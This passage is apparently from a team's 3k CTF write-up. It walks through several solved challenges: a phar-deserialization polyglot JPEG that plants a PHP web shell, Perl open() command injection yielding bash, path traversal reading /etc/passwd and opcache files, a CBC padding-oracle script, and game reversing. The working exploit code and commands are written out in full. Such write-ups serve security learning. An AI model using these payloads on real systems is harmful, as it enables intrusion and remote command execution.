if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
$this->serialize() is $this->options['serialize']();
Generating Phar jpg:
<?php
function generate_base_phar($o, $prefix){
global $tempname;
@unlink($tempname);
$phar = new Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}
function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);
// calc tar checksum
$chksum = 0;
for ($i=0; $i<512; $i++){
$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}
include "../image_uploader/html/old.php";
// pop exploit class
$cl2 = new cl2;
$cl1 = new cl1($cl2, "sqrtrev.php", null);
$cl1->cache = ["asd"];
$cl1->complete = "APD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="; //First A is for padding
$cl1->autosave = false;
$cl2->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$cl2->options['data_compress'] = false;
$cl2->options['serialize'] = 'serialize';
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $cl1;
$prefix = '';
var_dump(serialize($cl1));
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));
In my case, the filename was 442df48bef86cb9746ce0584349f06b937703be1c0b5c57865c3522b22c3cef7.jpg
.
So I accessed http://imageuploader.3k.ctf.to:8081/?img=php://filter/read/resource=phar://442df48bef86cb9746ce0584349f06b937703be1c0b5c57865c3522b22c3cef7.jpg/asd
And there will be up/sqrtrev.php
.
[http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=ls%20/](http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=ls /)
bin boot dev etc home lib lib64 media mnt opt proc qUHwHtel41OiCDotoenbwdF5IgmWQ5_README root run sbin srv sys tmp usr var
[http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=cat%20/qUHwHtel41OiCDotoenbwdF5IgmWQ5_README](http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=cat /qUHwHtel41OiCDotoenbwdF5IgmWQ5_README)
3k{phar_D3seriaLizati0N_2_Rce_:o}
flood - 11 solves
by adragos
The given script is vulnerable to open
RCE (more info here https://stackoverflow.com/questions/26614348/perl-open-injection-prevention)
elsif($uInput eq "5"){
if($gold<=$goldrequired){
print "! no";
}else{
print "LOAD GAME SAVE...\n";
open (SAVEGAME, "/app/files/".$name) or break;
while ($line = <SAVEGAME>) {
chomp $line;
$gold = $line ;
close(SAVEGAME);
print "SAVE LOADED\n";
break;
}
}
I first tried to do it the intended way, and solve 251*1000 math questions, but that took too long and the connection would end. I ended up looking some more at the script and found that it casts the input to int and does this if( ($subm) <= $gold and int($subm)>=0){
, that means that if we pass something like -0.5 then it would be cast to 0 and it would add direct gold to our session. Doing this 520 times we get enough gold to save the file (trigger the open exploit).
from pwn import *
sh = remote('flood.3k.ctf.to', 7777)
sh.sendline('35ec04cd3b79ab89896836c69257ce86487cf55f')
sh.sendline('test;bash|')
sh.recvuntil('> ')
sh.recvuntil('> ')
for i in xrange(260*2):
sh.sendline('3')
sh.sendline('-0.5')
sh.interactive()
By executing bash directly we can execute any command we want, to get actual output to our terminal we must append >&2
to our commands (to redirect stdout to stderr)
We can then just get the flag from /
? What you wanna do <test;bash|>
* u hav -260000 points
* u hav 260 gold
[1] DO MATH
[2] BUY GOLD
[3] SELL GOLD
[4] SCOREBOARD
[5] LOAD GAME
[6] SAVE GAME
[7] EXIT
> $ 5
LOAD GAME SAVE...
sh: 1: /app/files/test: not found
bash: cannot set terminal process group (14575): Inappropriate ioctl for device
bash: no job control in this shell
ctf@rekter0-flood:~$ $ ls / >&2
app lib sbin
bin lib64 snap
boot lost+found srv
dev media sys
etc mnt tmp
fcad0373020fa6ede979389f558b396f4cd38ec1_README opt usr
home proc var
initrd.img root vmlinuz
initrd.img.old run vmlinuz.old
ctf@rekter0-flood:~$ $ cat fcad0373020fa6ede979389f558b396f4cd38ec1_README
cat: fcad0373020fa6ede979389f558b396f4cd38ec1_README: No such file or directory
ctf@rekter0-flood:~$ $ cat /fcad0373020fa6ede979389f558b396f4cd38ec1_README >&2
3k{p333rl_aInt_7hat_deAd_Y3t}
ctf@rekter0-flood:~$ $
3k{p333rl_aInt_7hat_deAd_Y3t}
carthagods - 10 solves(First Blood)
by sqrtrev
Description:
Salute the carthagods!
Author: rekter0, Dali
Hints
1. redacted source
When I approached to page, we can see the links like below
Baal -> /baal
Tanit -> /tanit
Dido -> /dido
caelestis -> /caelestis
phpinfo -> /info.php
FLAG -> /flag.php
We can guess the server is using mod_rewrite
easily. And there is a folder named css
and js
.
If server has mis-configuration with mod_rewrite
, we can get the name of variable.
So, If you access http://carthagods.3k.ctf.to:8039/js, you will get http://carthagods.3k.ctf.to:8039/js/?eba1b61134bf5818771b8c3203a16dc9=js.
Yeah, That parameter name was eba1b61134bf5818771b8c3203a16dc9
.
we can get file contents like ?eba1b61134bf5818771b8c3203a16dc9=../../../../../etc/passwd
It's time to see phpinfo
. There is something interesting with OpCache
.
opcache.file_cache = /var/www/cache/
Server is using Opcache File. Now, we can realize there will be a cache file of flag.php
. And that will not contains <?php
(As the page was filtering that string, we need to bypass).
When I search about OpCache File
, I got this document https://blog.alyac.co.kr/619 (written in Korean).
So, I can realize the cache file directory will be /var/www/cache/[system_id]/var/www/html/flag.php.bin
.
For getting system_id, I used https://github.com/GoSecure/php7-opcache-override.
The system_id was e2c6579e4df1d9e77e36d2f4ff8c92b3
and I got flag from http://carthagods.3k.ctf.to:8039/?eba1b61134bf5818771b8c3203a16dc9=../../../../../../var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/var/www/html/flag.php.bin
3k{Hail_the3000_years_7hat_are_b3h1nd}
You shall not get my cookies - 12 solves
by adragos
CBC padding oracle task. Our goal is to send a ciphertext that when decrypted with AES CBC should contain Maple Oatmeal Biscuits
At first, I started by decrypting the given ciphertext:
90C560B2A01529EF986E54B016E1FEAAD79A54BE52B373311E3B4F8251BE269EC199AE6B370BFCE50A54EEC25ABB0F22
from pwn import *
enc = '90C560B2A01529EF986E54B016E1FEAAD79A54BE52B373311E3B4F8251BE269EC199AE6B370BFCE50A54EEC25ABB0F22'.decode('hex')
decoded = ''
orig_IV = '\x00'*16#enc[-48:-32]
#encoded = '\x00'*16#enc[-32:-16]
encoded = 'e9090922d360872171fc8b8f5a1f31ed'.decode('hex')
def get_feedback(payload):
sh = remote('youshallnotgetmycookies.3k.ctf.to', 13337)
sh.recvuntil('whats your cookie: \n')
sh.sendline(payload)
if 'Nop' in sh.recvline():
sh.close()
return True
sh.close()
return False
IV = list(orig_IV)
while len(decoded) < 16:
offset = -(len(decoded)+1)
for i in range(256):
IV[offset] = chr(i)
iv = ''.join(IV)
payload = (iv+encoded).encode('hex').upper()
if get_feedback(payload) == True:
decoded = xor(IV[offset], orig_IV[offset], abs(offset)) + decoded
print 'decoded:',repr(decoded)
for i in range(1,abs(offset)+1):
IV[-i] = xor(IV[-i], len(decoded), len(decoded)+1)
break
print 'done'
'hazelnut cookies chocolate chip cookie\n\n\n\n\n\n\n\n\n\n'
I ended up modified orig_IV and encoded manually (no time for fancy scripts) and ended up decoding the whole ciphertext:
hazelnut cookies chocolate chip cookie\n\n\n\n\n\n\n\n\n\n
We know the first block from the task description, that means that the IV is fixed by the server. To encrypt our message. We can start backwards.
First we send two blocks of null bytes
00000000000000000000000000000000
00000000000000000000000000000000
^ - this will be the IV ^ - we can now check what all null byte block encrypts to
We find that all null bytes block encrypts to 807a6a57ba14f40179f48387521739e5
We then xor this value with the end of our plaintext with the end 16 bytes of Maple Oatmeal Biscuits
, we must take in consideration valid padding too and we get e9090922d360872171fc8b8f5a1f31ed
. We repeat this for the first 16 bytes of our payload, trying to find out what e9090922d360872171fc8b8f5a1f31ed
decrypts to and then just combine the results.
In the end, I solved this in python interactive
>>> from pwn import xor
>>> iv = xor(last, '\x80zjW\xba\x14\xf4\x01y\xf4\x83\x87R\x179\xe5')
>>> iv
'\xe9\t\t"\xd3`\x87!q\xfc\x8b\x8fZ\x1f1\xed'
>>> iv.encode('hex')
'e9090922d360872171fc8b8f5a1f31ed'
>>> ('e9090922d360872171fc8b8f5a1f31ed' + '0'*32).upper()
'E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000'
>>> (' Maple Oatmeal Biscuits ' + '\x08'*8)[:16]
' Maple Oatmeal B'
>>> first = (' Maple Oatmeal Biscuits ' + '\x08'*8)[:16]
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex')
'fffc6868d0d47400edae68f376e1b410'
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex').upper()
'FFFC6868D0D47400EDAE68F376E1B410'
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex').upper() + 'E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000'
'FFFC6868D0D47400EDAE68F376E1B410E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000'
By sending FFFC6868D0D47400EDAE68F376E1B410E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000
to the nc service (youshallnotgetmycookies.3k.ctf.to 13337
) we get the flag
3k{Y3t_An0th3r_Padd1ng_Oracle}
Passage - 8 solves
by adragos
"Simple" reverse challenge, because I ended up doing very little reverse engineering.
This is what the main function looks like, so many mov's, it would've been extremly hard to reverse this
By running the program, we can see that it just prints some text and then exits
adragos@wrecktheline:/mnt/c/Users/adragos/Desktop/3kctf/passage$ ./turing_says
We may hope that machines will eventually compete with men in all purely intellectual fields. But which are the best ones to start with? Even this is a difficult decision. Many people think that a very abstract activity, like the playing of chess, would be best. It can also be maintained that it is best to provide the machine with the best sense organs that money can buy, and then teach it to understand and speak English& Again I do not know what the right answer is, but I think both approaches should be tried.
you say?
What I did was load the binary with IDA debugger and put a breakpoint before the return of loop() function.
Then I just took a snapshot of the memory, and looked in the strings to find data
That looks like the flag to me
3k{if_i_can_make_a_program_that_fools_a_dog_into_thinking_its_interacting_with_another_dog_does_that_mean_my_program_is_as_smart_as_a_dog}
Game 2 - 41 solves
by QSharp
Description:
the shortest route is often the best
challenge:
For Windows
For Linux
flag format is different:
3K-string
When starting the Game, we find outselves in some kind of maze with some really bad lighting.
So I decided to just start cheat engine and find my player position. After looking for a float
value, using the changed
and unchanged
options and testing remainding values, we finally find our position.
By just guessing, I set my position to 0,0 and I get the flag.
3K-CTF-A-MAZE-ING
Game 1 - 30 solves
by tcode2k16
Description:
find your way to the heart of the maze
challenge:
For Windows
For Linux
flag format is different:
3K-string
For this challenge, we need to look more into the game logic. To accomplish this, I used another tool called ILSpy.
Opening Managed/Assembly-CSharp.dll
, we are able to see most of the game logic:
// CTF.GameManager
using UnityEngine;
private void OnTriggerEnter(Collider other)
{
if (other.tag == "Box1")
{
if (isCollidingBox1)
{
return;
}
isCollidingBox1 = true;
UiManager.current.UpdateTexte(Box1);
Object.Destroy(other.gameObject);
}
if (other.tag == "Box2")
{
if (isCollidingBox2)
{
return;
}
isCollidingBox2 = true;
UiManager.current.UpdateTexte(Box2);
Object.Destroy(other.gameObject);
}
if (other.tag == "Box3")
{
if (isCollidingBox3)
{
return;
}
isCollidingBox3 = true;
UiManager.current.UpdateTexte(Box3);
Object.Destroy(other.gameObject);
}
if (other.tag == "Box4")
{
if (isCollidingBox4)
{
return;
}
isCollidingBox4 = true;
UiManager.current.UpdateTexte(Box4);
Object.Destroy(other.gameObject);
}
if (other.tag == "Box5")
{
if (isCollidingBox5)
{
return;
}
isCollidingBox5 = true;
UiManager.current.UpdateTexte(Box5);
Object.Destroy(other.gameObject);
}
if (other.tag == "Box6" && !isCollidingBox6)
{
isCollidingBox6 = true;
UiManager.current.UpdateTexte(Box6);
Object.Destroy(other.gameObject);
}
}
// CTF.UiManager
public void UpdateTexte(string textToAdd)
{
counter++;
textHolder.text += textToAdd;
if (counter == 6)
{
cText = Encrypt.current.DecryptString(textHolder.text);
textHolder.text = cText;
}
}
// CTF.Encrypt
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public string DecryptString(string key)
{
byte[] array = Convert.FromBase64String(cipherText);
using (Aes aes = Aes.Create())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[13]
{
73,
118,
97,
110,
32,
77,
101,
100,
118,
101,
100,
101,
118
});
aes.Key = rfc2898DeriveBytes.GetBytes(32);
aes.IV = rfc2898DeriveBytes.GetBytes(16);
try
{
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(array, 0, array.Length);
cryptoStream.Close();
}
cipherText = Encoding.Unicode.GetString(memoryStream.ToArray());
}
return cipherText;
}
catch (Exception)
{
return "wrong Order mate ";
}
}
}
By reading the code, we see that the player is able to append six different words to a string in various orders by hitting different boxes in the maze. The concatenated string is then used as a key to decrypt a cipher message yielding the flag.
To recover the six words and the ciphertext, we can do a simple strings
or xxd
on the level0
asset file:
words:
Tanit
Astarté
Amilcar
Melqart
Dido
Hannibal
ciphertext
jR9MDCzkFQFzZtHjzszeYL1g6kG9+eXaATlf0wCGmnf62QJ9AjmemY0Ao3mFaubhEfVbXfeRrne/VAD59ESYrQ==
At this point, a brute force script should be able to yield the flag, but for some reason, it did not work for me.
In a hopeful attempt, I marked out all the box locations and played the game hitting each of them in the shortest path. Luckily, it worked and gave me the flag...
order:
Hannibal --> Dido --> Melqart --> Amilcar --> Astarté --> Tanit
flag: 3K-CTF-GamingIsNotACrime